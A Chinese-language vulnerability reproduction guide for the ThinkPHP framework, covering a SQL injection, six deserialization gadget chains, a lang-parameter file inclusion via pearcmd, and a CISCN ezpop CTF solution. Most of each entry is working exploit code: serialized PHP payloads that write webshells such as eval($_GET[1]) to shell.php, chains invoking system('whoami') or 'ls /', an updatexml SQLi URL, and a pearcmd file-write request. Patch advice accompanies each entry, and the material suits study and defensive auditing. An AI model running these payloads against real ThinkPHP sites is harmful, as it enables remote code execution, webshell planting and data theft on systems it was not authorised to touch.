ThinkPHP 各版本漏洞分析与复现指南
目录
- CVE-2018-16385: ThinkPHP SQL注入漏洞
- CVE-2021-36564: ThinkPHP 反序列化漏洞
- CVE-2021-36567: ThinkPHP 反序列化漏洞
- CVE-2022-33107: ThinkPHP 反序列化漏洞
- CVE-2022-38352: ThinkPHP 反序列化漏洞
- CVE-2022-45982: ThinkPHP 反序列化漏洞
- CVE-2022-47945: ThinkPHP 文件包含漏洞
- ezpop 代码审计案例
CVE-2018-16385
漏洞描述
ThinkPHP 5.1.23之前版本存在SQL注入漏洞,由于程序在处理order by参数时未正确过滤数组的key值,导致用户可控参数可造成SQL注入。
影响范围
ThinkPHP < 5.1.23
环境搭建
git clone https://github.com/top-think/think.git
git checkout v5.1.22
修改composer.json的topthink/framework值为5.1.22
composer install
漏洞分析
- 漏洞触发点在
thinkphp/library/think/db/Builder.php的parseOrder()函数 foreach循环将$order数组分为key和value形式- 关键点在于
parseOrderField()函数中对$val值的处理不当 - 最终SQL拼接时使用key值,而val值被注释符注释掉
漏洞利用
// 构造恶意请求
http://target.com/index.php/index/index/sql?order[id,111)|updatexml(1,concat(0x3a,user()),1)#]=1
修复建议
升级至ThinkPHP 5.1.23或更高版本
CVE-2021-36564
漏洞描述
ThinkPHP v6.0.8通过组件league/flysystem-cached-adapter存在反序列化漏洞,可导致任意文件写入。
影响范围
ThinkPHP < 6.0.9
环境搭建
composer create-project topthink/think=6.0.x tp6.0.8
删除lock文件,修改composer.json后重新composer install
漏洞分析
- 入口点在
AbstractCache的__destruct方法 - 通过
Adapter类的save()方法最终调用file_put_contents - 关键点:
$this->file控制写入文件路径$this->cache控制写入内容$this->adapter需为Local类实例
PoC代码
<?php
namespace League\Flysystem\Adapter; class Local{}
namespace League\Flysystem\Cached\Storage;
use League\Flysystem\Adapter\Local;
abstract class AbstractCache{
protected $autosave;
protected $cache = [];
}
class Adapter extends AbstractCache{
protected $adapter;
protected $file;
function __construct(){
$this->autosave=false;
$this->adapter=new Local();
$this->file='shell.php';
$this->cache=['shell'=>'<?php eval($_GET[1]);?>'];
}
}
namespace {
$o = new Adapter();
echo urlencode(serialize($o));
}
?>
修复建议
升级至ThinkPHP 6.0.9或更高版本
CVE-2021-36567
漏洞描述
ThinkPHP v6.0.8通过组件League\Flysystem\Cached\Storage\AbstractCache存在反序列化漏洞,Linux系统下可导致命令执行。
影响范围
ThinkPHP <= 6.0.8 (仅Linux系统有效)
漏洞分析
- 利用
system(json_encode([$cleaned, $this->complete, $this->expire]))执行命令 - 构造
$this->cache为命令执行payload - 通过
think\cache\driver\File的set()方法最终执行系统命令
PoC代码
<?php
namespace League\Flysystem\Cached\Storage{
abstract class AbstractCache {
protected $autosave = false;
protected $complete = [];
protected $cache = ['`echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+|base64 -d > shell.php`'];
}
}
namespace think\filesystem{
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache {
protected $store; protected $key;
public function __construct($store,$key,$expire){
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
}
}
namespace think\cache{ abstract class Driver{} }
namespace think\cache\driver{
use think\cache\Driver;
class File extends Driver {
protected $options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => false,
'path' => 'shell',
'hash_type' => 'md5',
'serialize' => ['system']
];
}
}
namespace{
$b = new think\cache\driver\File();
$a = new think\filesystem\CacheStore($b,'shell','1111');
echo urlencode(serialize($a));
}
修复建议
升级至ThinkPHP 6.0.9或更高版本
CVE-2022-33107
漏洞描述
ThinkPHP v6.0.8反序列化漏洞,通过精心构造的链可实现任意文件写入。
影响范围
ThinkPHP <= 6.0.12
漏洞分析
- 入口点在
think\Model的__destruct方法 - 通过
save()->updateData()->checkAllowFields()->db()触发__toString - 利用
think\route\Url的__toString方法触发后续链 - 最终通过
think\session\driver\File的write方法写入文件
PoC代码
<?php
namespace think\model\concern{ trait Attribute{ private $data = ['shell']; }}
namespace think\view\driver{ class Php{}}
namespace think\session\driver{ class File{} }
namespace League\Flysystem{
class File{
protected $path; protected $filesystem;
public function __construct($File){
$this->path='shell.php';
$this->filesystem=$File;
}
}
}
namespace think\console{
use League\Flysystem\File;
class Output{
protected $styles=[];
private $handle;
public function __construct($File){
$this->styles[]='getDomainBind';
$this->handle=new File($File);
}
}
}
namespace think{
abstract class Model{
use model\concern\Attribute;
private $lazySave;
protected $withEvent;
protected $table;
function __construct($cmd,$File){
$this->lazySave = true;
$this->withEvent = false;
$this->table = new route\Url(new Middleware,new console\Output($File),$cmd);
}
}
class Middleware{ public $request = 2333; }
}
namespace think\model{ use think\Model; class Pivot extends Model{}}
namespace think\route{
class Url {
protected $url = 'a:';
protected $domain;
protected $app;
protected $route;
function __construct($app,$route,$cmd){
$this->domain = $cmd;
$this->app = $app;
$this->route = $route;
}
}
}
namespace{
$zoe='<?= phpinfo(); exit();//';
echo urlencode(serialize(new think\Model\Pivot($zoe,new think\session\driver\File)));
}
修复建议
升级至ThinkPHP 6.0.13或更高版本
CVE-2022-38352
漏洞描述
ThinkPHP v6.0.8通过组件League\Flysystem\Cached\Storage\Psr6Cache存在反序列化漏洞,可导致RCE。
影响范围
ThinkPHP <= 6.0.13
漏洞分析
- 入口点在
Psr6Cache的__destruct方法 - 通过
think\log\Channel的__call方法触发record - 最终通过
think\session\Store的serialize方法执行命令
PoC代码
<?php
namespace League\Flysystem\Cached\Storage{
class Psr6Cache{
private $pool;
protected $autosave = false;
public function __construct($exp){
$this->pool = $exp;
}
}
}
namespace think\log{
class Channel{
protected $logger;
protected $lazy = true;
public function __construct($exp){
$this->logger = $exp;
$this->lazy = false;
}
}
}
namespace think{
class Request{
protected $url;
public function __construct(){
$this->url = '<?php system(\'calc\'); exit();';
}
}
class App{
protected $instances = [];
public function __construct(){
$this->instances = ['think\Request'=>new Request()];
}
}
}
namespace think\view\driver{ class Php{}}
namespace think\log\driver{
class Socket{
protected $config = [];
protected $app;
public function __construct(){
$this->config = [
'debug'=>true,
'force_client_ids' => 1,
'allow_client_ids'=>[],
'format_head' => [new \think\view\driver\Php,'display'],
];
$this->app = new \think\App();
}
}
}
namespace{
$c = new think\log\driver\Socket();
$b = new think\log\Channel($c);
$a = new League\Flysystem\Cached\Storage\Psr6Cache($b);
echo urlencode(base64_encode(serialize($a)));
}
修复建议
升级至ThinkPHP 6.0.14或更高版本
CVE-2022-45982
漏洞描述
ThinkPHP反序列化漏洞,通过精心构造的链可实现RCE。
影响范围
ThinkPHP 6.0.0~6.0.13 和 6.1.0~6.1.1
漏洞分析
- 入口点在
think\Model的__destruct方法 - 通过
save()->updateData()->checkAllowFields()触发__toString - 利用
think\route\Url的__toString方法触发后续链 - 最终通过
think\Request的input方法执行命令
PoC代码
<?php
namespace think {
abstract class Model {
private $lazySave = true;
private $data = ['a' => 'b'];
private $exists = true;
protected $withEvent = false;
protected $readonly = ['a'];
protected $relationWrite;
private $relation;
private $origin = [];
public function __construct($value) {
$this->relation = ['r' => $this];
$this->origin = ["n" => $value];
$this->relationWrite = ['r' => ["n" => $value]];
}
}
class App { protected $request; }
class Request {
protected $mergeParam = true;
protected $param = ["whoami"];
protected $filter = "system";
}
}
namespace think\model { use think\Model; class Pivot extends Model { }}
namespace think\route {
use think\App;
class Url {
protected $url = "";
protected $domain = "domain";
protected $route;
protected $app;
public function __construct($route) {
$this->route = $route;
$this->app = new App();
}
}
}
namespace think\log {
class Channel {
protected $lazy = false;
protected $logger;
protected $log = [];
public function __construct($logger) {
$this->logger = $logger;
}
}
}
namespace think\session {
class Store {
protected $data;
protected $serialize = ["call_user_func"];
protected $id = "";
public function __construct($data) {
$this->data = [$data, "param"];
}
}
}
namespace {
$request = new think\Request();
$store = new think\session\Store($request);
$channel = new think\log\Channel($store);
$url = new think\route\Url($channel);
$model = new think\model\Pivot($url);
echo urlencode(serialize($model));
}
修复建议
升级至ThinkPHP 6.0.14或6.1.2或更高版本
CVE-2022-47945
漏洞描述
ThinkPHP多语言功能存在目录穿越+文件包含漏洞,结合pearcmd可实现RCE。
影响范围
ThinkPHP <= 6.0.13
环境搭建
composer create-project topthink/think=6.0.12 tp6
修改composer.json的require内容为:
"require": {
"php": ">=7.2.5",
"topthink/framework": "6.0.12",
"topthink/think-orm": "^2.0"
},
重新执行composer install
漏洞分析
- 修改
app/middleware.php启用多语言加载中间件 - 通过
lang参数控制文件包含路径 - 关键点:
detect函数检测lang参数setLangSet设置语言load函数最终包含指定文件
漏洞利用
http://target.com/public?lang=../../../../pearcmd&+config-create+/<?=phpinfo()?>+/tmp/hello.php
修复建议
- 升级至ThinkPHP 6.0.14或更高版本
- 禁用多语言功能或严格过滤输入
ezpop
题目分析
[CISCN 2022 初赛]ezpop代码审计案例
漏洞链
Model.php => save() => isEmpty() | updateData() => checkAllowFields() => db()
=> $this->table . $this->suffix => toString() => model\concern\Conversion.php
=> toJson() => toArray() => foreach() => getAttr($key) => getData()
=> getValue() => $value => getData($name) => getRealFieldName()
=> $fieldName/$data/$value可控 => 返回getValue()方法
=> 绕过两个if判断 => $this->withAttr和$this->json可控
=> getJsonValue() => $this->jsonAssoc => 触发$closure($value[$key], $value)
PoC代码
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['ls /']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{ use think\Model; class Pivot extends Model{} }
namespace {
echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}
关键点
- 控制
$this->data和$this->withAttr实现命令执行 - 通过
$this->jsonAssoc触发getJsonValue方法 - 利用
$closure($value[$key], $value)执行系统命令
总结
本文详细分析了ThinkPHP多个版本的漏洞原理、利用方式和修复方案,涵盖了SQL注入、反序列化和文件包含等常见漏洞类型。在进行安全审计时,应重点关注:
- 反序列化入口点(
__destruct/__wakeup) - 危险函数调用(
system/file_put_contents等) - 用户输入过滤不严导致的注入问题
- 文件操作中的路径穿越问题
建议开发者及时升级框架版本,严格过滤用户输入,禁用不必要的功能组件,以最大程度降低安全风险。